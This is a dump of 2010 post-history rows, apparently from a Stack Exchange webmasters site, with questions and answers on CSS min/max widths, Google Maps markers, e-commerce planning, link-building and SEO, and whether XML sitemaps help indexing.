  <row Id="9498" PostHistoryTypeId="2" PostId="4788" RevisionGUID="486a5597-5ff9-4b19-bfb7-d82d93fd8749" CreationDate="2010-11-01T21:03:57.930" UserId="2730" Text="Google has an article about [How do I exclude my internal traffic from reports?][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/googleanalytics/bin/answer.py?answer=55481" />
  <row Id="9499" PostHistoryTypeId="2" PostId="4789" RevisionGUID="30cbd40a-7f58-415e-aa58-1bbbf97d2efe" CreationDate="2010-11-01T21:15:51.600" UserDisplayName="Bernard Martis" Text="How do i display customized place markers on the google map embedded on my web-page.&#xD;&#xA;&#xD;&#xA;ex http://www.carx.com/location_search.asp" />
  <row Id="9500" PostHistoryTypeId="1" PostId="4789" RevisionGUID="30cbd40a-7f58-415e-aa58-1bbbf97d2efe" CreationDate="2010-11-01T21:15:51.600" UserDisplayName="Bernard Martis" Text="Embed Google Map with branded place markers." />
  <row Id="9501" PostHistoryTypeId="3" PostId="4789" RevisionGUID="30cbd40a-7f58-415e-aa58-1bbbf97d2efe" CreationDate="2010-11-01T21:15:51.600" UserDisplayName="Bernard Martis" Text="&lt;google&gt;" />
  <row Id="9502" PostHistoryTypeId="2" PostId="4790" RevisionGUID="8bce0654-57bd-4a92-9d13-24c966879d95" CreationDate="2010-11-01T21:26:22.677" UserId="2379" Text="It requires the use of the google maps api.  The custom markers are just images that can be used.  The example there is very elegant by moving to a selected marker based on click.&#xD;&#xA;&#xD;&#xA;for a full overview of the google maps api goto:&#xD;&#xA;http://code.google.com/apis/maps/index.html&#xD;&#xA;&#xD;&#xA;Marc Grabanski has done an amazing job creating a tutorial to acheive the same effect as above using google maps and Jquery.  There are several Jquery scripts that make working with google maps a little bit easier.  Have a look at:&#xD;&#xA;&#xD;&#xA;http://marcgrabanski.com/articles/jquery-google-maps-tutorial-basics" />
  <row Id="9503" PostHistoryTypeId="2" PostId="4791" RevisionGUID="fe874dd7-fbdd-4cb9-8ed4-ee2d8bade1c2" CreationDate="2010-11-01T21:28:56.887" UserId="2379" Text="Important to know:&#xD;&#xA;Do they drop ship?&#xD;&#xA;Are you going to be building inventory management into the ecom system?&#xD;&#xA;Do their products offer different sizes.&#xD;&#xA;Do they upsell.&#xD;&#xA;do they show relevant items.&#xD;&#xA;What shipping methods do they offer?&#xD;&#xA;Do you need to keep track of expenses and revenue in the ecom app.&#xD;&#xA;Do they handle returns?  RMAs?&#xD;&#xA;&#xD;&#xA;A good e-commerce solution is built 100% around business rules.&#xD;&#xA;I think services like Shopify are great for those new to ecommerce, but for a real solution most developers custom code e-commerce sites. &#xD;&#xA;&#xD;&#xA;Could start with a basic open source package and build upon it.  Might be a good start for a db schema. &#xD;&#xA;&#xD;&#xA;" />
  <row Id="9504" PostHistoryTypeId="2" PostId="4792" RevisionGUID="553cd9c1-b4d4-460d-931f-6ccf7628fedc" CreationDate="2010-11-01T21:37:21.507" UserId="2288" Text="**Example:**&#xD;&#xA;&#xD;&#xA;Currently it does this: &lt;--&gt; &#xD;&#xA;&#xD;&#xA;Want it to do this: &lt;--|-|--&gt;&#xD;&#xA;&#xD;&#xA;**Meaning the core never gets smaller than say 900px.**&#xD;&#xA;&#xD;&#xA;It's also be cool if I could control the max flex: |&lt;--|-|--&gt;|&#xD;&#xA;&#xD;&#xA;**Meaning the page would not get smaller than 900x, but not larger than 1200px**&#xD;&#xA;&#xD;&#xA;...so, maybe none of this is possible, or it's crazy easy -- but I've searched high and low for an example, or CSS specs on how to do this, and no luck so far.&#xD;&#xA;&#xD;&#xA;Thanks!&#xD;&#xA;" />
  <row Id="9505" PostHistoryTypeId="1" PostId="4792" RevisionGUID="553cd9c1-b4d4-460d-931f-6ccf7628fedc" CreationDate="2010-11-01T21:37:21.507" UserId="2288" Text="Is there a way to limit the horizational flex of a fluid CSS layout?" />
  <row Id="9506" PostHistoryTypeId="3" PostId="4792" RevisionGUID="553cd9c1-b4d4-460d-931f-6ccf7628fedc" CreationDate="2010-11-01T21:37:21.507" UserId="2288" Text="&lt;css&gt;&lt;website-design&gt;&lt;tables&gt;" />
  <row Id="9507" PostHistoryTypeId="5" PostId="4792" RevisionGUID="e4b56b94-b82e-4c44-97f5-73b4582ae482" CreationDate="2010-11-01T21:44:07.397" UserId="2288" Comment="added 146 characters in body; added 1 characters in body" Text="**Example:**&#xD;&#xA;&#xD;&#xA;Currently it does this: &lt;--&gt; &#xD;&#xA;&#xD;&#xA;Want it to do this: &lt;--|-|--&gt;&#xD;&#xA;&#xD;&#xA;**Meaning the core never gets smaller than say 900px, but the core stretches on forever if it's bigger than 900px. Note, currently it's a 3-column, and the sides are fixed, it's the center that grows.**&#xD;&#xA;&#xD;&#xA;It's also be cool if I could control the max flex: |&lt;--|-|--&gt;|&#xD;&#xA;&#xD;&#xA;**Meaning the page would not get smaller than 900x, but not larger than 1200px**&#xD;&#xA;&#xD;&#xA;...so, maybe none of this is possible, or it's crazy easy -- but I've searched high and low for an example, or CSS specs on how to do this, and no luck so far.&#xD;&#xA;&#xD;&#xA;Thanks!&#xD;&#xA;" />
  <row Id="9508" PostHistoryTypeId="2" PostId="4793" RevisionGUID="310a0bc5-1923-46a9-94f9-877140d6bb83" CreationDate="2010-11-01T22:12:27.063" UserId="2293" Text="Correct me if I got you wrong, but it seems you are looking for min-width and max-width properties." />
  <row Id="9509" PostHistoryTypeId="2" PostId="4794" RevisionGUID="f0a53c5c-d11d-43c5-b714-93d5d418eab5" CreationDate="2010-11-01T22:16:47.200" UserId="2293" Text="Directories are a good way to get backlinks. The aggregate value passed back from these links counts in the same way the directory is ranked." />
  <row Id="9510" PostHistoryTypeId="2" PostId="4795" RevisionGUID="97751d40-1bb2-4ea1-84cf-707dc68d8c39" CreationDate="2010-11-01T22:32:48.287" UserId="218" Text="A discussion in the warrior-forum made me wonder if google might perceive link decoration as an attempt to deceive the visitors..&#xD;&#xA;&#xD;&#xA;The issue being if you style your links to show like normal text.&#xD;&#xA;&#xD;&#xA;for example &#xD;&#xA;&#xD;&#xA;    body{color:black;}&#xD;&#xA;    a{text-decoration:none;color:black;}&#xD;&#xA;&#xD;&#xA;In my eyes it would seem illogical for google to penalize sites based on *design* choices. (*Ignoring the argument of which algorithm can decide if a link is differentiated from the rest of the text*)&#xD;&#xA;&#xD;&#xA;Also it would negate all techniques like replace text with images (* and setting the text to be positioned off-screen or invisible*) etc..&#xD;&#xA;&#xD;&#xA;The WA members all argued that it is similar to hiding links (*for SEO purposes*) and google hates that.&#xD;&#xA;&#xD;&#xA;I would like opinions/experience on this..&#xD;&#xA;&#xD;&#xA;" />
  <row Id="9511" PostHistoryTypeId="1" PostId="4795" RevisionGUID="97751d40-1bb2-4ea1-84cf-707dc68d8c39" CreationDate="2010-11-01T22:32:48.287" UserId="218" Text="Could link decoration be considered deceptive ?" />
  <row Id="9512" PostHistoryTypeId="3" PostId="4795" RevisionGUID="97751d40-1bb2-4ea1-84cf-707dc68d8c39" CreationDate="2010-11-01T22:32:48.287" UserId="218" Text="&lt;google&gt;&lt;html&gt;&lt;css&gt;&lt;links&gt;" />
  <row Id="9513" PostHistoryTypeId="2" PostId="4796" RevisionGUID="ec572abb-8cb4-4e84-92d2-a88983aba147" CreationDate="2010-11-01T22:33:07.570" UserId="2293" Text="Well, using CSS3 gradients you know that it will not work on IE at all. For IE you can use proprietary filters. But I'm supposing you are over this technical limitation, and really want to learn about truly CSS3 gradients.&#xD;&#xA;&#xD;&#xA;And by fixed I understand you want it to be the same gradient, independent of screen width and/or height. Let's say, it starts at 10px, and go to 500px.&#xD;&#xA;&#xD;&#xA;To achieve this effect, you should use the color-stops on the gradients.&#xD;&#xA;&#xD;&#xA;http://net.tutsplus.com/tutorials/html-css-techniques/quick-tip-understanding-css3-gradients/&#xD;&#xA;&#xD;&#xA;http://gradients.glrzad.com/&#xD;&#xA;&#xD;&#xA;Have fun." />
  <row Id="9514" PostHistoryTypeId="2" PostId="4797" RevisionGUID="9ebbb6bd-92b1-4c23-b6e5-1c4d1dd2db53" CreationDate="2010-11-01T22:38:12.647" UserId="2293" Text="For SEO point of view I've never been penalized for doing that.&#xD;&#xA;&#xD;&#xA;But I only did that when it was critical to the client, as I strongly recommend to not let links as text for usability and accessibility reasons.&#xD;&#xA;&#xD;&#xA;People recognize ofter better blue color, with underline for text. Visual clues as color, underline and or effects (underline when hovering), increase websites usability, what makes visitors overall satisfaction better.&#xD;&#xA;&#xD;&#xA;Same rules for visited links. Let your visitors what they've already seen/read." />
  <row Id="9515" PostHistoryTypeId="2" PostId="4798" RevisionGUID="2fe5633e-40dc-47ce-be04-56df07f18e61" CreationDate="2010-11-01T22:42:02.330" UserId="1953" Text="It would be considered bad usability because visitors wouldn't be able to tell there are any links on your site (which would defeat the purpose of having the links in the first place) so I wouldn't recommend it. That being said I think the linking pattern would be more important to Google then the color of the link text. IE if you made your navigation the same size and color as your regular text it wouldn't be hiding so much as poor design if however you linked every keyword in all of your articles to a different page or site and made them look exactly like the text, that might draw some suspicion. &#xD;&#xA;&#xD;&#xA;As with most things the more extreme you make it the more likely it is to be a problem." />
  <row Id="9516" PostHistoryTypeId="5" PostId="4676" RevisionGUID="eadc05b2-d1f1-478c-b064-8ac59bb3b9db" CreationDate="2010-11-01T22:43:06.573" UserId="1243" Comment="added 9 characters in body" Text="Your search works OK for me in Chrome, Firefox AND IE8 - I get the same results in all browsers - no 404. I get the short URL in the address bar in all browsers, of the form:&#xD;&#xA;&#xD;&#xA;    http://www.everydayfiction.com/search/?  &#xD;&#xA;    cx=007529419963335588653%3Axv8pw52zy20&amp;cof=FORID%3A9&amp;ie=UTF-8&amp;q=Flight&#xD;&#xA;&#xD;&#xA;If I view the frame source in Chrome then I get a long URL _similar_ to the long URL you have posted but `rurl=` instead of `siteurl=`&#xD;&#xA;&#xD;&#xA;My initial thought was that may be you have third party cookies disabled in IE8 (although TBH I'm not sure why that would produce a 404!?), but I have third party cookies disabled in Chrome and it still works OK." />
  <row Id="9520" PostHistoryTypeId="2" PostId="4800" RevisionGUID="bc85fc77-fa90-4f11-ae8c-76684f4ef22c" CreationDate="2010-11-01T23:02:54.700" UserId="1953" Text="In my experience&#xD;&#xA;&#xD;&#xA;Shipping - (where they ship to what services they use and what offers go with IE do they offer free shipping if so what's the fine print around it).&#xD;&#xA;&#xD;&#xA;Order Processing - what payment gateway, does all the order data reside on the website or does it connect to an internal ERP or other system. &#xD;&#xA;&#xD;&#xA;Discounts - do they offer coupons? if so what kind flat rate or percent off, do they apply to all products, certain categories or individual products?&#xD;&#xA;&#xD;&#xA;promotion - what do they do to promote? will they want cross product promotions, featured products, will they need a product feed for shopping sites and or affiliates?&#xD;&#xA;&#xD;&#xA;Inventory management - are you tracking inventory? How are you making sure it's up to date? how do you handle back orders, what about discontinued products?&#xD;&#xA;&#xD;&#xA;These are the places you need to dig deeper just about every client will tell you it's just your basic ecomm site then when they actually get to setting things up they'll want this functionality or that, if you really dig into how they run their business you'll hopefully have it covered." />
  <row Id="9521" PostHistoryTypeId="2" PostId="4801" RevisionGUID="a6b2bf69-aae5-46f0-b613-f3ca6ff02de2" CreationDate="2010-11-01T23:14:43.550" UserId="1953" Text="The idea is that these articles allow others to republish the content you submitted on their own sites for free with proper attribution (a link to you in the about the author section). Thus by submitting your article to them you get the opportunity to get tons of links from all of their users.&#xD;&#xA;&#xD;&#xA;I've not gotten much value from these as John Conde mentioned they tend to be low value links and since the content feeds are so easily accessible the majority of people republishing the articles are low value auto blogs. I have talked to others that have gotten great value out them, their technique however, seems to be buy a bunch of articles, then spin each one and submit thousands of articles to hundreds of directories and the aggregate value of the links gives them a boost. From what I'm told it works but it feels too much like spam for me to actually do it.&#xD;&#xA;&#xD;&#xA;I'd spend my time meeting other webmasters or bloggers in your niche and getting guest posts on their websites, that way you know it's a quality link you're getting. " />
  <row Id="9522" PostHistoryTypeId="2" PostId="4802" RevisionGUID="a86e225b-7b1a-4a3e-958c-56c55fcda7ef" CreationDate="2010-11-01T23:28:05.897" UserId="1953" Text="Check out Ontolo.com their free link building tools are some of the best there are. You'll probably be most interested in the link query generator it allows you to select the type of link you want to research and use the keyword you give it to generate a list of common queries used to find those types of links (for example &quot;powered by wordpress&quot; intitle:keyword would likely return a list of blogs related to your keyword). If you've got a little budget their paid tool runs the queries for you and returns a lot of additional information such as PR of the URL, PR of the domain, relevance to your query (not sure how they determine it but it seems pretty accurate) and more." />
  <row Id="9523" PostHistoryTypeId="2" PostId="4803" RevisionGUID="554eca50-c2f8-4421-83f4-ab1114da92f1" CreationDate="2010-11-01T23:35:58.580" UserId="3" Text="We use a [sitemap][0] on Stack Overflow, but I have mixed feelings about it.&#xD;&#xA;&#xD;&#xA;&gt; Web crawlers usually discover pages from links within the site and from other sites. Sitemaps supplement this data to allow crawlers that support Sitemaps to pick up all URLs in the Sitemap and learn about those URLs using the associated metadata. Using the Sitemap [protocol][6] does not guarantee that web pages are included in search engines, but provides hints for web crawlers to do a better job of crawling your site.&#xD;&#xA;&#xD;&#xA;Based on our two years' experience with sitemaps, there's something **fundamentally paradoxical about the sitemap**:&#xD;&#xA;&#xD;&#xA;1. Sitemaps are intended for sites that are hard to crawl properly.&#xD;&#xA;2. If Google can't successfully crawl your site to find a link, but is able to find it in the sitemap *it gives the sitemap link no weight and will not index it!* &#xD;&#xA;&#xD;&#xA;That's the sitemap paradox -- **if your site isn't being properly crawled (for whatever reason), using a sitemap will not help you!**&#xD;&#xA;&#xD;&#xA;Google goes out of their way to make [no sitemap guarantees][1]:&#xD;&#xA;&#xD;&#xA;&gt; &quot;We cannot make any predictions or guarantees about when or if your URLs will be crawled or added to our index&quot; [citation][2]&#xD;&#xA;&#xD;&#xA;&gt; &quot;We don't guarantee that we'll crawl or index all of your URLs. For example, we won't crawl or index image URLs contained in your Sitemap.&quot; [citation][3]&#xD;&#xA;&#xD;&#xA;&gt; &quot;submitting a Sitemap doesn't guarantee that all pages of your site will be crawled or included in our search results&quot; [citation][4]&#xD;&#xA;&#xD;&#xA;Given that links found in sitemaps are merely *recommendations*, whereas links found on your own website proper are considered canonical ... it seems the only logical thing to do is *avoid* having a sitemap and make damn sure that Google and any other search engine can properly spider your site using the plain old standard web pages everyone else sees.&#xD;&#xA;&#xD;&#xA;By the time you have done *that*, and are getting spidered nice and thoroughly so Google can see that your *own site* links to these pages, and would be willing to crawl the links -- uh, why do we need a sitemap, again? The sitemap can be actively harmful, because it distracts you from ensuring that search engine spiders are able to successfully crawl your whole site. &quot;Oh, it doesn't matter if the crawler can see it, we'll just slap those links in the sitemap!&quot; Reality is quite the opposite in our experience.&#xD;&#xA;&#xD;&#xA;That seems more than a little ironic considering sitemaps were *intended* for sites that have a very deep collection of links that may be hard to spider in the first place. :P&#xD;&#xA;&#xD;&#xA;[0]: http://sitemaps.org/&#xD;&#xA;[1]: http://www.google.com/support/forum/p/Webmasters/thread?tid=7c9c881bc82842c0&amp;hl=en&amp;fid=7c9c881bc82842c000047085dae3269d&amp;hltp=2&#xD;&#xA;[2]: http://www.google.com/support/webmasters/bin/answer.py?answer=34575&#xD;&#xA;[3]: http://www.google.com/support/webmasters/bin/answer.py?answer=35184&#xD;&#xA;[4]: http://www.google.com/support/webmasters/bin/answer.py?answer=34397&#xD;&#xA;[6]: http://sitemaps.org/protocol.php" />
  <row Id="9524" PostHistoryTypeId="1" PostId="4803" RevisionGUID="554eca50-c2f8-4421-83f4-ab1114da92f1" CreationDate="2010-11-01T23:35:58.580" UserId="3" Text="The Sitemap Paradox" />
  <row Id="9525" PostHistoryTypeId="3" PostId="4803" RevisionGUID="554eca50-c2f8-4421-83f4-ab1114da92f1" CreationDate="2010-11-01T23:35:58.580" UserId="3" Text="&lt;google&gt;&lt;sitemap&gt;" />
  <row Id="9526" PostHistoryTypeId="5" PostId="4803" RevisionGUID="13fa5c94-24d8-4709-96b9-3fa63aa340db" CreationDate="2010-11-01T23:43:33.187" UserId="3" Comment="added 86 characters in body" Text="We use a [sitemap][0] on Stack Overflow, but I have mixed feelings about it.&#xD;&#xA;&#xD;&#xA;&gt; Web crawlers usually discover pages from links within the site and from other sites. Sitemaps supplement this data to allow crawlers that support Sitemaps to pick up all URLs in the Sitemap and learn about those URLs using the associated metadata. Using the Sitemap [protocol][6] does not guarantee that web pages are included in search engines, but provides hints for web crawlers to do a better job of crawling your site.&#xD;&#xA;&#xD;&#xA;Based on our two years' experience with sitemaps, there's something **fundamentally paradoxical about the sitemap**:&#xD;&#xA;&#xD;&#xA;1. Sitemaps are intended for sites that are hard to crawl properly.&#xD;&#xA;2. If Google can't successfully crawl your site to find a link, but is able to find it in the sitemap *it gives the sitemap link no weight and will not index it!* &#xD;&#xA;&#xD;&#xA;That's the sitemap paradox -- **if your site isn't being properly crawled (for whatever reason), using a sitemap will not help you!**&#xD;&#xA;&#xD;&#xA;Google goes out of their way to make [no sitemap guarantees][1]:&#xD;&#xA;&#xD;&#xA;&gt; &quot;We cannot make any predictions or guarantees about when or if your URLs will be crawled or added to our index&quot; [citation][2]&#xD;&#xA;&#xD;&#xA;&gt; &quot;We don't guarantee that we'll crawl or index all of your URLs. For example, we won't crawl or index image URLs contained in your Sitemap.&quot; [citation][3]&#xD;&#xA;&#xD;&#xA;&gt; &quot;submitting a Sitemap doesn't guarantee that all pages of your site will be crawled or included in our search results&quot; [citation][4]&#xD;&#xA;&#xD;&#xA;Given that links found in sitemaps are merely *recommendations*, whereas links found on your own website proper are considered canonical ... it seems the only logical thing to do is *avoid* having a sitemap and make damn sure that Google and any other search engine can properly spider your site using the plain old standard web pages everyone else sees.&#xD;&#xA;&#xD;&#xA;By the time you have done *that*, and are getting spidered nice and thoroughly so Google can see that your *own site* links to these pages, and would be willing to crawl the links -- uh, why do we need a sitemap, again? The sitemap can be actively harmful, because it distracts you from ensuring that search engine spiders are able to successfully crawl your whole site. &quot;Oh, it doesn't matter if the crawler can see it, we'll just slap those links in the sitemap!&quot; Reality is quite the opposite in our experience.&#xD;&#xA;&#xD;&#xA;That seems more than a little ironic considering sitemaps were *intended* for sites that have a very deep collection of links that may be hard to spider in the first place. :P&#xD;&#xA;&#xD;&#xA;Am I wrong? Do sitemaps make sense, and we're somehow just using them incorrectly?&#xD;&#xA;&#xD;&#xA;[0]: http://sitemaps.org/&#xD;&#xA;[1]: http://www.google.com/support/forum/p/Webmasters/thread?tid=7c9c881bc82842c0&amp;hl=en&amp;fid=7c9c881bc82842c000047085dae3269d&amp;hltp=2&#xD;&#xA;[2]: http://www.google.com/support/webmasters/bin/answer.py?answer=34575&#xD;&#xA;[3]: http://www.google.com/support/webmasters/bin/answer.py?answer=35184&#xD;&#xA;[4]: http://www.google.com/support/webmasters/bin/answer.py?answer=34397&#xD;&#xA;[6]: http://sitemaps.org/protocol.php" />
  <row Id="9527" PostHistoryTypeId="5" PostId="4803" RevisionGUID="25ad9fed-612f-4391-9bde-39975929432d" CreationDate="2010-11-01T23:48:34.047" UserId="3" Comment="added 193 characters in body; added 25 characters in body" Text="We use a [sitemap][0] on Stack Overflow, but I have mixed feelings about it.&#xD;&#xA;&#xD;&#xA;&gt; Web crawlers usually discover pages from links within the site and from other sites. Sitemaps supplement this data to allow crawlers that support Sitemaps to pick up all URLs in the Sitemap and learn about those URLs using the associated metadata. Using the Sitemap [protocol][6] does not guarantee that web pages are included in search engines, but provides hints for web crawlers to do a better job of crawling your site.&#xD;&#xA;&#xD;&#xA;Based on our two years' experience with sitemaps, there's something **fundamentally paradoxical about the sitemap**:&#xD;&#xA;&#xD;&#xA;1. Sitemaps are intended for sites that are hard to crawl properly.&#xD;&#xA;2. If Google can't successfully crawl your site to find a link, but is able to find it in the sitemap *it gives the sitemap link no weight and will not index it!* &#xD;&#xA;&#xD;&#xA;That's the sitemap paradox -- **if your site isn't being properly crawled (for whatever reason), using a sitemap will not help you!**&#xD;&#xA;&#xD;&#xA;Google goes out of their way to make [no sitemap guarantees][1]:&#xD;&#xA;&#xD;&#xA;&gt; &quot;We cannot make any predictions or guarantees about when or if your URLs will be crawled or added to our index&quot; [citation][2]&#xD;&#xA;&#xD;&#xA;&gt; &quot;We don't guarantee that we'll crawl or index all of your URLs. For example, we won't crawl or index image URLs contained in your Sitemap.&quot; [citation][3]&#xD;&#xA;&#xD;&#xA;&gt; &quot;submitting a Sitemap doesn't guarantee that all pages of your site will be crawled or included in our search results&quot; [citation][4]&#xD;&#xA;&#xD;&#xA;Given that links found in sitemaps are merely *recommendations*, whereas links found on your own website proper are considered canonical ... it seems the only logical thing to do is *avoid* having a sitemap and make damn sure that Google and any other search engine can properly spider your site using the plain old standard web pages everyone else sees.&#xD;&#xA;&#xD;&#xA;By the time you have done *that*, and are getting spidered nice and thoroughly so Google can see that your *own site* links to these pages, and would be willing to crawl the links -- uh, why do we need a sitemap, again? The sitemap can be actively harmful, because it distracts you from ensuring that search engine spiders are able to successfully crawl your whole site. &quot;Oh, it doesn't matter if the crawler can see it, we'll just slap those links in the sitemap!&quot; Reality is quite the opposite in our experience.&#xD;&#xA;&#xD;&#xA;That seems more than a little ironic considering sitemaps were *intended* for sites that have a very deep collection of links or complex UI that may be hard to spider. In our experience, the sitemap does not help, because **if Google can't find the link on your site proper, it won't index it from the sitemap anyway.** We've seen this proven time and time again with Stack Overflow questions.&#xD;&#xA;&#xD;&#xA;Am I wrong? Do sitemaps make sense, and we're somehow just using them incorrectly?&#xD;&#xA;&#xD;&#xA;[0]: http://sitemaps.org/&#xD;&#xA;[1]: http://www.google.com/support/forum/p/Webmasters/thread?tid=7c9c881bc82842c0&amp;hl=en&amp;fid=7c9c881bc82842c000047085dae3269d&amp;hltp=2&#xD;&#xA;[2]: http://www.google.com/support/webmasters/bin/answer.py?answer=34575&#xD;&#xA;[3]: http://www.google.com/support/webmasters/bin/answer.py?answer=35184&#xD;&#xA;[4]: http://www.google.com/support/webmasters/bin/answer.py?answer=34397&#xD;&#xA;[6]: http://sitemaps.org/protocol.php" />
  <row Id="9528" PostHistoryTypeId="2" PostId="4804" RevisionGUID="e17f9555-796d-4dd1-8f0d-f825a677c246" CreationDate="2010-11-01T23:49:18.670" UserId="1253" Text="It's not the technique that matters, it's the **intent**. If you hide content for the search engines' benefit but not your users with black text on a black background then you're manipulating the SERPs which is a violation of the TOS and that's when it's a problem. If black on black text somehow is part of the user experience then it's fine (i.e. spoiler text that users have to highlight to see).&#xD;&#xA;&#xD;&#xA;Exactly how they determine this is up for speculation although they do have humans review the SERPs for &quot;quality control&quot; so they may have humans investigate sites like in your example. Maybe using an automated system that flags them first and a human reviews them and marks the site as legit or black hat." />
  <row Id="9529" PostHistoryTypeId="2" PostId="4805" RevisionGUID="de0ee20f-15e7-49ed-a8fd-896e3233c16a" CreationDate="2010-11-01T23:53:52.443" UserId="2871" Text="I suspect: for Google, sitemaps are necessary to keep track of updates in the fastest way possible. E.g., let's say you have added a new content to some deep location of your web site, which takes more than 10-20 clicks to reach from your home page. For Google to reach this new page would be less likely in a short time - so instead, until a path to this page is utterly determined, the *existence* of it is announced. After all, PageRank is not calculated immediately, it requires time to evaluate user behavior and such - so, until then, why shouldn't the engine crawl and index a page with fresh content?" />
  <row Id="9530" PostHistoryTypeId="2" PostId="4806" RevisionGUID="6b9c8e23-3448-4aa0-b4ff-12f80416fda1" CreationDate="2010-11-01T23:54:38.277" UserId="2873" Text="I've not run into this myself, but the majority of my projects are applications or sites that otherwise require user accounts so indexing by search engines isn't a focus.&#xD;&#xA;&#xD;&#xA;That said, I've heard before that SEO has basically rendered sitemaps useless. If you look at the protocol, it's sort of an &quot;honor system&quot; to tell how often a page changes and what the relative priority of each page is. It stands to reason that dime-a-dozen SEO firms misuse the fields - every page is top priority! every page changes hourly! - and rendered sitemaps effectively useless.&#xD;&#xA;&#xD;&#xA;[This article from 2008][1] says basically that and seems to come to the same conclusion that you do: the sitemap is pretty well useless and you would be better off optimizing the content to be indexed and ditching the sitemap.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.smallbusinesssem.com/xml-sitemaps-the-most-overrated-seo-tactic-ever/1193/" />
  <row Id="9531" PostHistoryTypeId="2" PostId="4807" RevisionGUID="2b61c0aa-7294-4fb9-ac86-4863f1ca623a" CreationDate="2010-11-01T23:55:05.593" UserId="2874" Text="In Google's words: &quot;In most cases, webmasters will benefit from Sitemap submission, and in no case will you be penalized for it.&quot;&#xD;&#xA;&#xD;&#xA;But I agree that the best thing you can do if you want your website pages to appear in search engines is to make sure they are crawlable from the site proper.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="9532" PostHistoryTypeId="5" PostId="4792" RevisionGUID="0b5a7bd3-6c3e-48ed-b0c5-1601b10bb2a8" CreationDate="2010-11-02T00:07:15.923" UserId="2288" Comment="added 645 characters in body; edited tags" Text="**Example:**&#xD;&#xA;&#xD;&#xA;Currently it does this: &lt;--&gt; &#xD;&#xA;&#xD;&#xA;Want it to do this: &lt;--|-|--&gt;&#xD;&#xA;&#xD;&#xA;**Meaning the core never gets smaller than say 900px, but the core stretches on forever if it's bigger than 900px. Note, currently it's a 3-column, and the sides are fixed, it's the center that grows.**&#xD;&#xA;&#xD;&#xA;It's also be cool if I could control the max flex: |&lt;--|-|--&gt;|&#xD;&#xA;&#xD;&#xA;**Meaning the page would not get smaller than 900x, but not larger than 1200px**&#xD;&#xA;&#xD;&#xA;...so, maybe none of this is possible, or it's crazy easy -- but I've searched high and low for an example, or CSS specs on how to do this, and no luck so far.&#xD;&#xA;&#xD;&#xA;Thanks!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;UPDATE:&#xD;&#xA;-------&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;Thanks to Dave, I was able to find a solution... :-) ...thanks Dave!!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[**Example of code**][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    #wrapper {&#xD;&#xA;       width: 960px;&#xD;&#xA;       width: expression(&#xD;&#xA;          (document.documentElement.clientWidth &gt; 962)? &quot;960px&quot; :&#xD;&#xA;             (document.documentElement.clientWidth &lt; 762)? &quot;760px&quot; :&#xD;&#xA;                &quot;auto&quot;&#xD;&#xA;       );&#xD;&#xA;       height: 1%;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;**SOURCE:**  [Friendly Bit, Min-width and Max-width template][2]&#xD;&#xA;&#xD;&#xA;NOTE: Stack Exchange... Rocks!&#xD;&#xA;&#xD;&#xA;  [1]: http://friendlybit.com/files/min-max-template/&#xD;&#xA;  [2]: http://friendlybit.com/css/min-width-and-max-width-template/" />
  <row Id="9533" PostHistoryTypeId="6" PostId="4792" RevisionGUID="0b5a7bd3-6c3e-48ed-b0c5-1601b10bb2a8" CreationDate="2010-11-02T00:07:15.923" UserId="2288" Comment="added 645 characters in body; edited tags" Text="&lt;css&gt;&lt;website-design&gt;" />
  <row Id="9534" PostHistoryTypeId="2" PostId="4808" RevisionGUID="0e426e1b-5afb-4246-80be-0540e2e582d5" CreationDate="2010-11-02T00:07:40.120" UserId="18" Text="I believe that search engines use the sitemap not so much to find pages, but to optimize how they often they check them for updates. They look at `&lt;changefreq&gt;` and `&lt;lastmod&gt;`. Google probably spiders the entire website very often (check your logs!), but not all search engines have the resources to do that (Has anyone tried [Blekko][1]?). In any case since there is no penalty for using them and they can be created automatically and easily I'd keep doing it.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://blekko.com/" />
  <row Id="9535" PostHistoryTypeId="2" PostId="4809" RevisionGUID="d51578ab-073a-4132-8949-9e9db90baf74" CreationDate="2010-11-02T00:13:30.800" UserId="1953" Text="If you know you have good site architecture and the Google would find your pages naturally the only benefit I'm aware of is faster indexing, if your site is getting indexed fast enough for you then no need. &#xD;&#xA;&#xD;&#xA;Here's article from 2009 where a gentlemen tested how fast Google crawled his site with a sitemap and without. &#xD;&#xA;http://www.seomoz.org/blog/do-sitemaps-effect-crawlers&#xD;&#xA;&#xD;&#xA;My rule of thumb is if you're launching something new and untested you want to see how Google crawls your site to make sure there is nothing that needs to be fixed so don't submit, however, if you're making changes and want Google to see them faster then do submit or if you have other time sensitive information such as breaking news then submit because you want to do whatever you can to make sure you're the first Google sees, otherwise it's a matter of preference." />
  <row Id="9536" PostHistoryTypeId="2" PostId="4810" RevisionGUID="9ca7196a-4a2b-48ce-8064-70ff89931771" CreationDate="2010-11-02T00:35:11.860" UserDisplayName="LabSlice" Text="I believe SiteMaps only serve two purposes these days:&#xD;&#xA;&#xD;&#xA; - They allow you to reduce the frequency of spidering to alleviate server load. This should not really be an issue for most sites.&#xD;&#xA; - They can help re-enforce what the search engine already knows about you. Listing the page names, and obviously adding appropriate weighting to each page, helps the search engine to validate its own metrics for ranking your site architecture.&#xD;&#xA; " />
  <row Id="9538" PostHistoryTypeId="2" PostId="4812" RevisionGUID="3bdeb951-a8b3-4f62-87e6-b44bae23c99d" CreationDate="2010-11-02T00:47:39.883" UserId="1953" Text="If you have programming skills organize freely available content in a useful way. To use an obvious example Google.com contains no unique content of their own, but is great at organizing content so they get tons of content for free (in fact people fall all over themselves to give Google data). I'm not sure what industry you're in but based your question including job resumes etc. I suspect you might find some of the census data useful or see what resources the SBA has to offer. Here are a few available data sets for example. &#xD;&#xA;&#xD;&#xA;http://factfinder.census.gov/servlet/DatasetMainPageServlet&#xD;&#xA;http://www.google.com/publicdata/directory" />
